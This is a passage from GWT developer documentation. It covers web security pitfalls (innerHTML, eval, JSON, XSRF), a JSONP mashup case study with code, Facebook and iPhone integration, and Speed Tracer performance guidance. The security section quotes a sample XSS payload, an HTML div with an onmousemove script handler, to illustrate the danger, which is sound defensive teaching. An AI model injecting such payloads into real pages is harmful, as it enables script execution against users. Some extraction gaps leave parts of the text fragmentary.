Many developers use GWT along with other JavaScript solutions. For instance, your application might be using a mashup with code from several sites, or you might be using a third-party JavaScript-only library with GWT. In these cases, your application could be vulnerable due to those non-GWT libraries, even if the GWT portion of your application is secure. If you are mixing other JavaScript code with GWT in your application, it's important that you review all the pieces to be sure your entire application is secure.
The page contains a placeholder <div> named 'mydiv', and a JavaScript function that simply sets innerHTML on that div. The idea is that you would call that function from other code on your page whenever you wanted to update the content being displayed. However, suppose an attacker contrives to get a user to pass in this HTML as the 'newContent' variable: <div onmousemove="alert('Hi!');">Some text</div> Whenever the user mouses over 'mydiv', an alert will appear. If that's not frightening enough, there are other techniques -- only slightly more complicated -- that can execute code immediately without even needing to wait for user input. This is why setting innerHTML can be dangerous; you've got to be sure that the strings you use are trusted. It's also important to realize that a string is not necessarily trusted just because it comes from your server! Suppose your application contains a report, which has "edit" and "view" modes in your user interface. For performance reasons, you might generate the custom-printed report in plain-old HTML on your server. Your GWT application would display it by using a RequestCallback to fetch the HTML and assign the result to a table cell's innerHTML property. You might assume that that string is trusted since your server generated it, but that could be a bad assumption. If the user is able to enter arbitrary input in "edit" mode, an attacker could use any of a variety of attacks to get the user to store some unsafe HTML in a record. When the user views the record again, that record's HTML would be evil. Unless you do an extremely thorough analysis of both the client and server, you can't assume a string from your server is safe. To be truly safe, you may want to always assume that strings destined for innerHTML or eval are unsafe, but at the very least you've got to Know Your Code.
An attacker could again use one of several attacks to cause the user to save carefully-constructed JavaScript code into one of your data records. That code could contain evil side effects that take effect immediately when the JSON object is parsed. This is just as severe as innerHTML but is actually easier to do since the attacker doesn't need to play tricks with HTML in the evil string -- he can just use plain JavaScript code. As with innerHTML, it's not always correct to assume that a JSON string is safe simply because it came from your server. At the very least, it is important to think carefully before you use any JSON service, whether it's yours or a third party's.
The GWT team is considering adding support for standard string inspection to the GWT library. You would use this to validate any untrusted string to determine if it contains unsafe data (such as a <script> tag.) The idea is that you'd use this method to help you inspect any strings you need to pass to innerHTML or eval. However, this functionality is only being considered right now, so for the time being it's still important to do your own inspections. Be sure to follow the guidelines above -- and be sure to be paranoid!
If you are using GWT's RPC mechanism, the solution is unfortunately not quite as clean. However, there are still several ways you can accomplish it. For instance, you can add an argument to each method in your RemoteService interface that contains a String. That is, if you wanted this interface:
440 / 469
public interface MyInterface extends RemoteService { public boolean doSomething(); public void doSomethingElse(String arg); }
you
would
pass
in
the
current
cookie
value
that
you
fetch
using
If you prefer not to mark up your RemoteService interfaces in this way, you can do other things instead. You might modify your data-transfer objects to have a field name containing the cookieValue, and set that value whenever you create them. Perhaps the simplest solution is to simply add the cookie value to your URL as a GET parameter. The important thing is to get the cookie value up to the server, somehow. In all of these cases, of course, you'll have to have your server-side code compare the duplicate value with the actual cookie value and ensure that they're the same. The GWT team is also considering enhancing the RPC system to make it easier to prevent XSRF attacks. Again though, that will only appear in a future version, and for now you should take precautions on your own.
The client code is then expected to strip the comment characters prior to passing the string to the eval function. The primary effect of this is that it prevents your JSON data from being stolen via a <script> tag. If you normally expect your server to export JSON data in response to a direct XMLHTTPRequest, this technique would prevent attackers from executing an XSRF attack against your server and stealing the response data via one of the attacks linked to earlier. If you only intend your JSON data to be returned via an XMLHTTPRequest, wrapping the data in a block comment prevents someone from stealing it via a <script> tag. If you are using JSON as the data format exposed by your own services and don't intend servers in other domains to use it, then there is no reason not to use this technique. It might keep your data safe even in the event that an attacker manages to forge a cookie.
441 / 469
In other words, if you have critical private information on your own server, you should probably avoid in-browser JSONPstyle mashups with another site. Instead, you might consider building your server to act as a relay or proxy to the other site. With that technique, the browser only communicates with your site, which allows you to use more rigorous protections. It may also provide you with an additional opportunity to inspect strings for evil code.
Conclusion
Web 2.0 can be a scary place. Hopefully we've given you some food for thought and a few techniques you can implement to keep your users safe. Mostly, though, we hope we've instilled a good healthy dose of paranoia in you. If Benjamin Franklin were alive today, he might add a new "certainty" to his famous list: death, taxes... and people trying to crack your site. The only thing we can be sure of is that there will be other exploits in the future, so paranoia will serve you well over time. As a final note, we'd like to stress one more time the importance of staying vigilant. This article is not an exhaustive list of the security threats to your application. This is just a primer, and someday it could become out of date. There may also be other attacks which we're simply unaware of. While we hope you found this information useful, the most important thing you can do for your users' security is to keep learning, and stay as well-informed as you can about security threats. As always, if you have any feedback for us or would like to discuss this issue now or in the future please visit our GWT Developer Forum.
442 / 469
5.6.
Introduction
What's the fun of a web application if you're stuck on your own server? It's much more fun to get out and meet new code, which is where web mashups come in. Mashups let you build powerful applications surprisingly quickly, if you have the right tools. Recently I've been working on a mashup project using the Google Web Toolkit (GWT). One of the goals of my project was to let applications written using GWT integrate with other web applications that expose data in JavaScript Object Notation (JSON) format. Sounds straightforward, right? Well, it was--almost--read on to learn why! This article is a case study of how to incorporate mashup-style JSON data into a GWT application. This will be relevant to you if you're a GWT user, but even general Ajax developers may find it interesting.
A note on security
This article discusses JSON. JSON is very cool, but it can also be quite dangerous to the unwary. Because JSON is a subset of JavaScript, it is executable code; this makes it vulnerable to a variety of attacks. If you're using JSON, it's very important to be aware of these security risks and apply countermeasures. This is too large a topic for us to discuss here. Fortunately, we've already discussed it elsewhere: check out this link on Security for GWT Applications. I urge you to read that document and familiarize yourself with the security risks before you put into practice any of the things discussed here.
JSON basics
What is JSON, anyway? Well, by a happy coincidence, it turns out that the syntax JavaScript uses for defining data objects is rather broadly compatible with other languages. This makes it a sort of lowest-common-denominator syntax for specifying data. Other folks have covered this better than I can, so I'll just send you straight to the source: json.org. One of the key benefits of JSON is that because it is essentially JavaScript syntax, browsers can "parse" JSON data simply by calling the JavaScript eval function. This is both easy and fast because it takes advantage of native code in the browsers to do the parsing. (This is also why JSON can be a security problem; if the JSON string actually contains nonJSON code, then calling eval on it is quite dangerous.) Once you have a service that can produce JSON data, there are generally three different ways to use it. These methods can be categorized by how you fetch the data. The server can output a string containing raw JSON data that the browser fetches with an XMLHTTPRequest and manually passes to the eval function. Example server-generated string: {'data': ['foo', 'bar', 'baz']} The server can output a string containing JavaScript code that assigns a JSON object to a variable; the browser would fetch this using a <script> tag and then extract the parsed object by referring to the variable by name. Example server-generated string: var result = {'data': ['foo', 'bar', 'baz']}; The server can output a string containing JavaScript code that passes a JSON object to a function specified in the request URL; the browser would fetch this using a <script> tag, which will automatically invoke the function as if it were an event callback, as soon as the JavaScript is parsed. Example server-generated string: handle_result({'data': ['foo', 'bar', 'baz']});
The term JSON technically refers only to the data representation syntax (which is where the "Object Notation" part of its name comes from) and so JSON is a strict subset of JavaScript. Because of this, those last two methods aren't technically JSON--they're JavaScript code that deals with data in JSON format. They are still close cousins to JSON, though, and frequently "JSON" is used as a blanket term for all such cases. The third method in particular is frequently called "JSON with Padding" (JSONP); the earliest description of this technique that I'm aware of is here: Remote JSON JSONP.
443 / 469
The primary difference between these techniques is how they are fetched. Since the first case--that is, pure JSON-contains no executable component, it's generally only useful with XMLHTTPRequests. Because that function is subject to Same-Origin restrictions, that means that pure-JSON can only be used as a data transmission technique between a browser application and its HTTP server. The latter two techniques, however, fetch the strings using dynamic <script> tag insertions. Since that technique is not limited by Same-Origin restrictions, it can be used cross-domain. Coupled with services that expose their data in JavaScript syntax, this allows browsers to make requests for data from several different servers. This is the technique that makes mashups possible. (More specifically--mashups that run entirely inside the browser. You can also create mashups using server-side proxies if you don't want to use JSONP and don't mind maintaining your own server.)
High-level design
Now that we have the JSON basics in hand, what about my project? The task I was working on involved mashing up data from another service--specifically, Google Base. This means that I needed to use the Google Data API for fetching information. Google's GData servers provide XML, JSON, and JSONP-style interfaces, to allow developers maximum flexibility in building applications. For my project, I wanted to build an in-browser mashup, which means I needed to use the Google Data API's JSONP-style interface. Since GWT applications are written in Java, there is a compilation phase that compiles the Java source to JavaScript. The compiler also optimizes the generated code, and one of the optimizations it performs is code obfuscation, which makes the output smaller and thus faster to load. A downside of this, though, is that the function names in the output JavaScript code are unpredictable. This makes it difficult to specify a callback function name to a JSONP service. There is an effective technique for cases like this that we sometimes refer to as a "function bridge." We've documented it in our GWT FAQs, but in a nutshell, the technique involves creating a handle for the obfuscated function and copying it to a well-known variable name in the JavaScript namespace. When outside JavaScript code (such as a Google Data server response) invokes the function under its well-known name, it actually invokes the real function via the copied handle. (Check out the link earlier in this paragraph to see a basic example.) However, my project made a lot of those Google Data requests. That could conceivably leave quite a few of these function handles lying around, so there was some bookkeeping that needed to be managed. After taking all those points into consideration, I chose this rough design: Each request for Google Data JSON data is assigned a unique token. A new callback function for each request is created on demand using GWT's JavaScript Native Interface (JSNI); the request's token is included in the function's name to make sure it's unique. The callback is actually a JavaScript function closure over the token; the token is passed along to the inner function when the callback is invoked. The same inner function is used for each callback; this function is actually a method on my GWT class, which uses the token to dispatch the response data to the appropriate GWT code.
This strategy has the following "moving parts": A single dispatch method on my GWT class to handle incoming responses from the Google Data server A second method on my GWT class that uses JSNI to construct the function closures and initiate the Google Data request
Ultimately, there should also be a cleanup phase which removes the callback handles to avoid cluttering the JavaScript namespace, but that's easy enough to add later. To get started, I proceeded with the other design elements above. Hopefully you've followed along so far, but if not--never fear, I've included source code below!
First implementation
The first thing I did was write some code to demonstrate the basic concept. I did have an idea of how the final API itself ought to look, but the objective at this point was to prove the concept, not design the final API. So, I started by implementing a single class that contained all the key parts that I expected my final API to have. First, I thought, I'd prove that it worked, and then I'd refactor it into a real API. Specifically, here are the key requirements I had: Must abstract the dynamic <script> insertion behind a method call Must handle bookkeeping of <script> tags (to be able to clean them up later and prevent memory leaks) Must provide a method to generate and reserve a callback function name
At this point, I needed a Google Data feed to test with. I decided to fetch the Google Base "snippets" URL, which is a GData feed in JSON mode. The base URL for this feed is http://www.google.com/base/feeds/snippets. To 444 / 469
request JSON data as output, you add some GET parameters to the URL: ?alt=json-in-script&callback=foo. The last value--foo--is the name of a callback function (that is, the JSONP hook). The Google Data feed's output will wrap the JavaScript object with a call to that function. If you want to see a full example of the Google Data output, check out this URL: http://www.google.com/base/feeds/snippets. You'll quickly see that there's a lot of data, even for just a single result. To help you visualize the general structure of the feed, here's a much smaller custom-built sample result that contains only the data relevant to this story:
{ 'feed': { 'entry': [ {'title': {'type': 'text', '$t': 'Some Text'}}, {'title': {'type': 'text', '$t': 'Some More Text'}} ] } }
The core structure is fairly simple, as you can see; most of the length of the real Google Data feed comes from the various data fields. To keep my development simple, I used that minimized example for testing so I wouldn't be overwhelmed by the full Google Data feed. Of course, that meant I needed a web server to serve up my custom version of the JSON data. Normally I would have just served it from the built-in Tomcat instance included in GWT's hosted mode. However, that would have meant that my JSON data and my GWT application would be served from the same site. Since my ultimate goal was to load the real JSON data from a different site, I needed a second, separate local server from which to fetch my JSON data--otherwise, it wouldn't be an accurate simulation. Since a full web server instance would have been lots of work to set up, I created a tiny custom server with this Python program:
import BaseHTTPServer, SimpleHTTPServer, cgi class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): form = self.path.find('?') > -1 and dict([x.split('=') for x in self.path.split('?') [1].split('&')]) or {'callback': 'foo'} fun_name = form.get('callback', 'foo') body = '%s(%s);' % (fun_name, file('json.js').read()) self.send_response(200) self.send_header('Content-Type', 'text/plain') self.send_header('Content-Length', len(body)) self.end_headers() self.wfile.write(body) bhs = BaseHTTPServer.HTTPServer(('', 8000), MyHandler) bhs.serve_forever()
This program returns the contents of the json.js file for each and every request, wrapping it in a function name specified in the callback query parameter. It's pretty dumb, but it doesn't need to be smart. With the server under control, here's the GWT code for my browser application:
public class Hax0r implements EntryPoint { protected HashMap scriptTags = new HashMap(); protected HashMap callbacks = new HashMap(); protected int curIndex = 0; public native static void setup(Hax0r h, String callback) /*-{ $wnd[callback] = function(someData) { h.@com.google.gwt.hax0r.client.Hax0r::handle(Lcom/google/gwt/core/client/JavaScriptObject;) (someData); } }-*/; public String reserveCallback() { while (true) { if (!callbacks.containsKey(new Integer(curIndex))) { callbacks.put(new Integer(curIndex), null); return "__gwt_callback" + curIndex++; } } }
445 / 469
public void addScript(String uniqueId, String url) { Element e = DOM.createElement("script"); DOM.setAttribute(e, "language", "JavaScript"); DOM.setAttribute(e, "src", url); scriptTags.put(uniqueId, e); DOM.appendChild(RootPanel.get().getElement(), e); } public void onModuleLoad() { String gdata = "http://www.google.com/base/feeds/snippets?alt=json-in-script&callback="; String callbackName = reserveCallback(); setup(this, callbackName); addScript(callbackName, gdata + callbackName); } public void handle(JavaScriptObject jso) { JSONObject json = new JSONObject(jso); JSONArray ary = json.get("feed").isObject().get("entry").isArray(); for (int i = 0; i < ary.size(); ++i) { RootPanel.get().add(new Label(ary.get(i).isObject().get("title").isObject().get("$t").toString())); } } }
This code could use a little explanation. Here are some comments that highlight how the code implements the high-level design I outlined earlier: The setup() method is a native method using GWT's JavaScript Native Interface. JSNI allows developers who need "low level" access to JavaScript to get it. The method simply assigns the handle() method to a wellknown name on the browser window. setup() creates the callback as a function closure because JavaScript will garbage collect plain old function pointers. That is, if we just directly assigned the handle() method to $wnd[callback], it would be immediately garbage collected. To prevent this, we create a new inline anonymous function. Because GWT loads the application's actual code in a child iframe, the global variable $wnd is set to point to the window handle where the application actually lives. That is, it is set to the window handle on the parent frame, rather than the child iframe. The addScript() method handles all the DOM munging required to dynamically insert a <script> tag into the page. It also tracks the resulting DOM Element handles via unique IDs, so that they can be cleaned up later (though this proof of concept code doesn't actually do any cleanup). The handle() method is the actual function that gets called by the JSON response from the server. It contains a loop which just prints out the titles of all the results fetched by the JSON request. Note that this method uses the existing GWT JSON parsing and manipulation libraries. The specific sequence of calls is pretty brittle since there is no error checking, but the goal is only to fetch some data to prove the technique worked. Finally, the onModuleLoad() method--which is the main entry point to a GWT application--simply calls the various other methods to exercise the moving parts.
446 / 469
At this point, you may be wondering how multiple windows entered the discussion. The key is the fact that GWT application code is loaded in a hidden iframe, and so references to objects like window refer to that iframe window rather than its parent window. To refer to the browser parent window, GWT defines the $wnd variable. The DOM object in GWT also points to the parent window's document object; after all, your application code is interested in manipulating the browser window, not GWT's hidden iframe. As a result, in the code above, the <script> tag is added to the parent window, while the code using it resides in a different iframe. This means that the object is created in a window different from where the "instanceof" checks are made, thus causing the issue above. There are several ways to fix the code: Ultimately, I just needed to make sure that the <script> tag and the JSONP callbacks are added to the same iframe in which the GWT application code resides. Here's how I fixed it:
public native static void setup(Hax0r h, String callback) /*-{ window[callback] = function(someData) { h.@com.google.gwt.hax0r.client.Hax0r::handle(Lcom/google/gwt/core/client/JavaScriptObject;) (someData); } }-*/; public native void addScript(String uniqueId, String url) /*-{ var elem = document.createElement("script"); elem.setAttribute("language", "JavaScript"); elem.setAttribute("src", url); document.getElementsByTagName("body")[0].appendChild(elem); }-*/;
The new version is a rewrite in JSNI of the prior version, coded to use the current document object instead of the parent window's document. I also had to change the reference to $wnd in the setup() method to window. This ensures that all the relevant pieces exist in the same context, specifically, the child iframe. With these tweaks, the new code works correctly.
Conclusion
With the change I just described, my proof of concept code works perfectly. Feel free to take this code and try it out--it really works! During this project, I learned two things, which I hope I've passed on to you. First of course, is the basic techniques for how to build a mashup using GWT. It's easy to see how you could take the technique I've implemented above and use it to build an application that fetches JSONP data from two (or more!) different sites. Once you can do that, you can do some very interesting things. Mashups are pretty popular these days, and I hope I've given you the know-how, and the excitement, to try building your own. The second thing I learned from this project is that JavaScript can be very finicky. I'm not trying to say that it isn't a great language; I'm just pointing out that there are a lot of pitfalls for developers, and I walked straight into one. Unfortunately, a lot of the time these pitfalls can get in the way of just doing your work. Though you might argue that GWT itself set the stage for the particular problem I ran into, it is not difficult at all to imagine a pure-JavaScript programmer running into a similar situation when dealing with multiple frames. Caveat hax0r! I hope you found this article useful; but more importantly, I hope you enjoy using GWT! Happy coding!
447 / 469
5.7.
Jared Jacobs, frontend lead at kaChing. January 2009 As you may know, social networks like Facebook, LinkedIn, and MySpace can be an excellent place to grow a new business. Most of the kaChing community first discovered us through friends using our Fantasy Stock Exchange Facebook app. In this article, I'll help you get your GWT app running as a Facebook app. Believe it or not, it can be done in just two easy steps. 1. Create the Facebook App. Follow the instructions on Facebook's Getting Started page to create and name your Facebook app. Accept the default settings for now. 2. Point your Facebook App at your GWT App. Adjust these Facebook App settings: Callback URL Enter the URL of your GWT app's main HTML page. Tip: For a quick development cycle, run your server locally and use a localhost URL. Choose a path beneath apps.facebook.com for your Facebook app. Also select the Use iframe radio button.
And you're done! Visit the Canvas Page URL that you chose, and you'll see your GWT app running in Facebook. The rest of this post will suggest a couple of ways to integrate more fully, to better leverage the Facebook platform.
You should customize the arguments to init() and setCanvasHeight() based on your needs. Here's a description of what's going on in the snippet above: 1. The first script tag loads FB_RequireFeatures, the entry point to the Facebook JS Client Library. 2. The FB_RequireFeatures call loads the CanvasUtil feature (the FB.CanvasClient object). 3. Before using FB.CanvasClient, we must set up a Cross Domain Communication Channel between your app's canvas window and the containing Facebook window. This means a) hosting Facebook's xd_receiver.html file somewhere on your server, b) telling the Facebook JS Client Library where to find it (hence the FB.XdComm.Server.init call), and c) adding an FB_HiddenContainer div to the body of your main HTML page to serve as the container for channel iframes. If your app changes its height from time to time, you can ask the Facebook's JS library to check your canvas window's 448 / 469
height at regular intervals and adjust the containing iframe's height to match. To do so, replace the FB.CanvasClient.setCanvasHeight call in the snippet above with:
FB.CanvasClient.setCanvasHeight('2000px', function() {FB.CanvasClient.startTimerToSizeToContent()});
For more info on the CanvasUtil feature, including how to make the containing Facebook window scroll to a desired location, see this demo iframe app.
449 / 469
5.8.
Google Developer Relations Team July 2007 It's now been a few weeks since the release of GWT 1.4 and Apple's iPhone. We've spent some of that time learning how to optimize Google Web Toolkit applications for the iPhone. Since nothing beats experience with real code, we decided to write an application that we would find useful and that shows off the cool features of the iPhone. The result is the GWT Feed Reader, an RSS feed reader that uses the Google AJAX Feed API with a user interface optimized for the iPhone. This article will discuss what we've learned from writing this RSS reader. The good news is that writing a GWT application that targets the iPhone is no different from writing any other application. On the other hand, the way in which your users interact with a mobile application is somewhat different from how they interact with a "desktop" application. Even though your existing desktop GWT application may execute on the iPhone, it might not be very easy to use, and might not feel like a mobile application should. For more than just occasional use, your users will want an interface optimized for their device. Before we dive in, it's worth noting that developers that intend to target the iPhone should refer to Apple's development guide for the iPhone. It covers how users interact with web applications on the iPhone, ways to optimize your application for the iPhone, and links to other iPhone-related development communities. These guidelines are applicable to static content as well as client-side application development using GWT. Instead of covering the basics of writing a GWT application, we'll stick to highlighting the design decisions that we made to make the GWT Feed Reader a usable mobile application. Most of design stems from understanding the limitations of the device.
Element-per-Widget design
The Document Object Model (DOM) specification defines a hierarchical box model that is used to compose the image that is displayed on your screen when you view a web page. Typically, web browsers convert the HTML data received from a web server into a DOM structure, however it is also possible to manipulate the DOM via purely programmatic means via client-side JavaScript code. The GWT UI classes provide abstractions over the underlying DOM structures that they represent, allowing you, the developer, to think about high-level Widgets and Panels, rather than collections of DOM elements. Each Widget has associated with it a DOM Element that represents the Widget in the DOM. Simple Widgets, such as Button, can be represented by a single DOM Element. More complicated Widgets, like VerticalPanel, have a single root Element that act as containers for the Elements of child Widgets. The individual rows of the VerticalPanel are Elements that can be targeted by the zoom gesture. If the Widgets contained by the VerticalPanel are of unequal widths, the zoom gesture will still allow the user to approximately zoom in
450 / 469
on the row's element, even in the case of missing the desired Widget. The user can then more accurately target the desired widget, as it will have increased in visible size.
Improving interactions
Both actual as well as perceived application performance are critically important factors to consider when designing user interactions. If the application pauses, hangs, or otherwise stalls during use, users will very quickly become frustrated. Progressive (or lazy) rendering in the UI and retention of already-rendered UI elements adds to the perception of responsiveness. Applications typically "feel faster" and annoy the user less when something happens immediately in response to a user's event, even if it is to simply displaying a "Loading..." message. Using DeferredCommand.addCommand() with an IncrementalCommand allows you to implement a "deferred Iterator". This will avoid blocking the UI event loop while you create UI elements from a list of data objects:
final List objects = ....; DeferredCommand.addCommand(new IncrementalCommand() { Iterator i = objects.iterator(); public boolean execute() { Foo foo = (Foo)i.next(); .... do something ... return i.hasNext(); } });
Robust use of GWT's History support adds to the usability of the application. The browser's back and forward buttons are always on-screen, so you may as well take advantage of them in your application. Most of the state changes within the GWT Feed Reader are controlled by history tokens. Instead of having user-generated events directly cause panels to be shown or hidden, the code simply executes a History.newItem() call. This ensures that externally-driven behavior (back/forward, deep-linking) is identical to UI-driven behavior and serves to decouple event-handling code from presentation code. For example, articles in a feed are viewed by setting the history token to a combination of the feed's URL and the link target URL of the article. See the processHistoryToken() function.
Program data
Minimizing the number of round-trips to the server was also a design priority for the GWT Feed Reader application. We are using ImmutableResourceBundle and StyleInjector from the new GWT Incubator project. This combination allows program resources, such as CSS and background-image files to be either cached "forever" or inlined directly into the GWT application. The latter behavior allows the feed reader to always be able to render correctly, even when the iPhone is temporarily unable to access the Internet. Programmatic access to module Resources also helps in the development phase, because the compiler will warn you of missing files. As an additional deployment optimization, the module selection script has been inlined into the host HTML page as a post-build step. The net effect of these optimizations is that the entire GWT Feed Reader application and all of its runtime resources can be downloaded in just two HTTP roundtrips. The Feed Reader needs to get its feed data from somewhere. Enough of the Google AJAX Feed API was imported with Java bindings using the GWT JavaScript Interop project. This eliminated the need to hand-write JSNI calls to the underlying JavaScript API by declaring the binding with a flyweight-style API. The binding classes are located in the com.google.gwt.ajaxfeed package. Because this is a ultimately a demonstration app that needs to be able to run without server support (e.g. from a local filesystem), we use GWT's support for manipulating browser cookies to store configuration and last-read information. The data is stored as a JSON-encoded string in the cookie and accessed through the Configuration class. A more fullyfeatured version of the application might include server-side support for configuration and tracking last-read articles.
Wrapping it up
After deciding on the UI layout style, implementing the RSS reader application was just like writing any other GWT application. Much of the gross feature set was worked out with hosted-mode development and then the fit-and-finish of the application was finalized using a combination of Safari3 and an iPhone. Most of the time, the test application was accessed over the EDGE network, to simulate the typical use case. Targeting the high-latency, low-bandwidth configuration makes using the application on a WiFi network even better. We look forward to seeing more GWT applications on the iPhone in the future. If you are interested in the code for the GWT Feed Reader, it is Open-Source under the Apache 2.0 License, and has its own project page on Google Code.
451 / 469
6.
6.1. Examples
6.1.1.
The Scenario
John is tasked with implementing the main table view of his company's employee performance review application. He dusts off an old table widget that he has used in the past and quickly gets a prototype working. The table widget John uses exposes simple API for appending rows to the table. He uses this API and things seem to work well for tables with about forty rows. John's company has two hundred employees, and his requirements state that the table must not be paged. He quickly realizes that all is not well with his prototype. Using console.markTimeline() (see logging API), John sees that just rendering the table takes over 600ms. John takes a look at the table rendering for a two hundred row table in Speed Tracer and notices an interesting pattern:
452 / 469
Speed Tracer tells him that there are lots of small layout passes that add up to nearly 80% of his total table construction time. He notices a repeating pattern in the trace tree of a DOM mutation: style recalculation followed by a small layout pass. John has fallen victim to the "Redundant Layout Problem".
Modern browsers lazily compute layout so that they only do the work when it needs to do it. This means that the order of execution matters a great deal. The example above, when put in a tight loop, will end up doing more work than it needs to. We can clean this up by batching reads and style setting as follows:
// This line invalidates layout. elementA.className = 'foo'; elementB.className = 'bar'; // This line requires layout to be up to date. var aWidth = elementA.offsetWidth // Second Layout pass not needed. var bWidth = elementB.offsetWidth;
Resolution
John takes a look at the documentation for his table widget's appendRow() function and notices this description in the documentation: 1. 2. 3. 4. appendRow() is intended for incremental addition of a single row. appendRow() ensures that the column width sizes to fit the largest cell in that column, up to a maximum size. Table layout is fixed to allow users to implement column resize if needed. The final column is stretchy with its parent container.
453 / 469
John needs properties two, three and four, but property one gives John an idea of what to look for. John takes a look at the code and immediately sees the problem:
var cellWidget = createCellWidget(getCellText(i)); addCell(row, cellWidget); // John: This measurement requires Layout to be up to date. var columnWidth = headerCells[i].clientWidth; preferredWidth = Math.min(MAX_COL_WIDTH, columnWidth); // John: Setting the width of a column invalidates layout. headerCells[i].style["width"] = preferredWidth + "px";
In order to size the columns to the contents, the appendRow() function has to measure and update the widths of the columns on each invocation. To avoid repeatedly invalidating layout, John decides to build the entire table first, and then measure and set widths once at the end. It would have been even more performant for John to pick a default width for each of the fixed columns, and remove measurements entirely, but he felt that preserving the column sizing behavior was worth the extra time. He implements this function and calls it appendRowNoLayout(). John has in effect designed API for doing bulk table additions. See the results for yourself.
Speed Tracer agrees with Johns changes. The browser only has to do a single non-redundant layout pass for each column that gets measured at the end. Speed tracer shows John that if he decided to go one step further and use explicit widths for all the columns, he would save at most 28ms (45% of the 64ms) due to removing all measurement. Happy with bringing the table construction time down to 64ms, John calls it a day.
454 / 469
6.1.2.
The Scenario
In an attempt to keep up to date with the latest and greatest CSS3 has to offer, John decides to spruce up his company's awesome "text-blob-reader web application" with some animations and fade effects to give some feedback when transitioning between pages. After an initial implementation, he notices that even on his fast workstation the transitions feel choppy and sluggish, and resizing the browser window makes the application stutter unacceptibly. If you have a WebKit based browser, you can see for yourself. He first tries sticking timing information in JavaScript using "new Date().getTime()". Unfortunately all entry points into JavaScript yield zero time and tell him nothing. Then he tries profiling with Speed Tracer.
The Speed Tracer Sluggishness graph spells it out for John. Clearly the sluggishness is a result of poor paint performance, not poor JavaScript performance. John can now rule out the suspicion that heavy weight logic in the animation loop is the culprit. But what can he do about it?
455 / 469
Resolution
John takes a look at his code and realizes it contains all three gotchas. The first and the second are vital to the aesthetic he is going for, so he decides to work on the third one first. John remembers his clever trick for creating a pretty background using only text and CSS. It makes the download smaller (no need to download background images), but could it be responsible for his performance woes? To test his theory, John comments out some opacity in his CSS:
.layer { /* SLOW! opacity: 0.9; */ }
He also comments out the code responsible for constructing the background:
/* SLOW! function makeCoolBackground() { var backgroundContainer = document.getElementById("coolTextBg"); for (var i = 0; i < 14; i++) { backgroundContainer.appendChild(document.createTextNode(coolText)); } } makeCoolBackground(); */
When he refreshes his application, the animations are much smoother. John refreshes the page and sees that Speed Tracer approves of the change:
456 / 469
Voila! The UI is now painting snappily. Using Speed Tracer, John verified the problem was poor paint performance, and was able to quickly validate changes he made to the code in real time as he refreshed his browser.
6.2.
Hints
Speed Tracer analyzes your application and reports hints when it finds a potential performance problems that can degrade the user experience. Each hint is generated by a JavaScript rule definition and is flagged with one of three priority values, which depend on the severity of the issue.
457 / 469
Built in Rules
Long Duration Event
hintlet_long_duration.js A top level event blocked the browser UI for an excessive amount of time. (INFO) Event took 100 milliseconds or longer. (WARNING) Event took 2 seconds or longer.
Excessive Layout
hintlet_excessive_layout.js Frequent layout is adding up to a non-trivial amount of time. (WARNING) At least 3 layout sub-events totaling 70 milliseconds or greater.
Caching rules
hintlet_cache_control.js These hints have to do with optimizing client side caching.
Compressed Content
hintlet_not_gz.js Advises you to compress content to save download time.
Cookies
hintlet_static_no_cookie.js Advises you to serve static data from cookieless domains.
458 / 469
6.3.
In Speed Tracer you can press the 'save' button to dump the recorded instrumentation data out to disk. The data dump is a list of JSON objects, one per line. All messages have the following fields:
{
type: <int type tag, see below>, time: <milliseconds since start of session>, data: {<JSON Dictionary of data specific to this event type>}
The following description is a human-readable listing of the data dump format. Note that you can view the JSON Schemas for these events in the speedhtracer source. The JSON schemas are considered the source of truth for the data dump format. There are three general categories of records: Browser Timeline Events represent things that took place on the browser's UI thread that were measured and reported from within the Browser. Some timeline Events, like Log Messages and Network Resource Events are top level markers and have a duration of 0ms. DOM_EVENT LAYOUT RECALC_STYLE PAINT PARSE_HTML TIMER_INSTALLED TIMER_CLEARED TIMER_FIRED XHR_READY_STATE_CHANGE XHR_LOAD EVAL_SCRIPT LOG_MESSAGE NETWORK_RESOURCE_START NETWORK_RESOURCE_RESPONSE NETWORK_RESOURCE_FINISH JAVASCRIPT_CALLBACK RESOURCE_DATA_RECEIVED GC_EVENT MARK_DOM_CONETNT MARK_LOAD_EVENT Speed Tracer Events represent events that are part of the Speed Tracer dump that were synthesized by Speed Tracer. These events usually indicate some state transition, like a page navigation, or an update to a Network Resource. TAB_CHANGED NETWORK_RESOURCE_UPDATE PROFILE_DATA
6.3.1.
Timeline Events represent things running in the renderer's UI thread. Anything that takes a long time will block the UI thread and contribute to user-perceived sluggishness. Timeline events include actions such as layout, javascript execution, CSS selector matching, and others. A timeline event may contain multiple child events. The child events show where time is going in more detail. The format for a Timeline record is as follows:
459 / 469
type: <Integer type tag>, time: <Number milliseconds since start of the session>, data: <JSON Dictionary of data specific to the type> ... [Optional Fields...] ... children: [<Timeline Event>, ... , <Timeline Event>], duration: <Number milliseconds this event took>, callerScriptName: <String URL of the script that triggered this event>, callerScriptLine: <Integer line from the calling script>, callerFunctionName: <String name of the function from the calling script>, usedHeapSize: <Integer size in bytes used in the heap>, totalHeapSize: <Integer total size in bytes of the heap>, sequence: <The sequence number of this event>,
The duration field includes the time spent in children. Each type of timeline event has different data available in the 'data' field.
Layout (LAYOUT)
Indicates layout or reflow of the document.
{ type: 1, time: <milliseconds since start of the session>, duration: <milliseconds this event took>, children: [<Timeline Event>, ... , <Timeline Event>], data: { } }
type: 2, time: <milliseconds since start of the session>, duration: <milliseconds this event took>, children: [<Timeline Event>, ... , <Timeline Event>], data: { }
460 / 469
Paint (PAINT)
Indicates that some or part of the document was rasterized to the screen.
{ type: 3, time: <milliseconds since start of the session>, duration: <milliseconds this event took>, children: [<Timeline Event>, ... , <Timeline Event>], data: { x: <Integer x-offset of area painted in pixels>, y: <Integer y-offset of area painted in pixels>, width: <Integer width of area painted in pixels>, height: <Integer height of area painted in pixels> } }
type: 4, time: <milliseconds since start of the session>, duration: <milliseconds this event took>, children: [<Timeline Event>, ... , <Timeline Event>], data: { length: <Integer length in bytes of the parsed section>. startLine : <Integer line number of the beginning of the section>, endLine : <Integer line number of the end of the section> }
461 / 469
Timer (TIMER_FIRED)
Event corresponding to a timer fire.
{ type: 7, time: <milliseconds since start of the session>, duration: <milliseconds this event took>, children: [<Timeline Event>, ... , <Timeline Event>], data: { timerId: <String opaque ID identifying this timer> singleShot: <Boolean true for a setTimeout() timer and false for a setInterval()>, timeout: <Integer timeout in milliseconds>, }
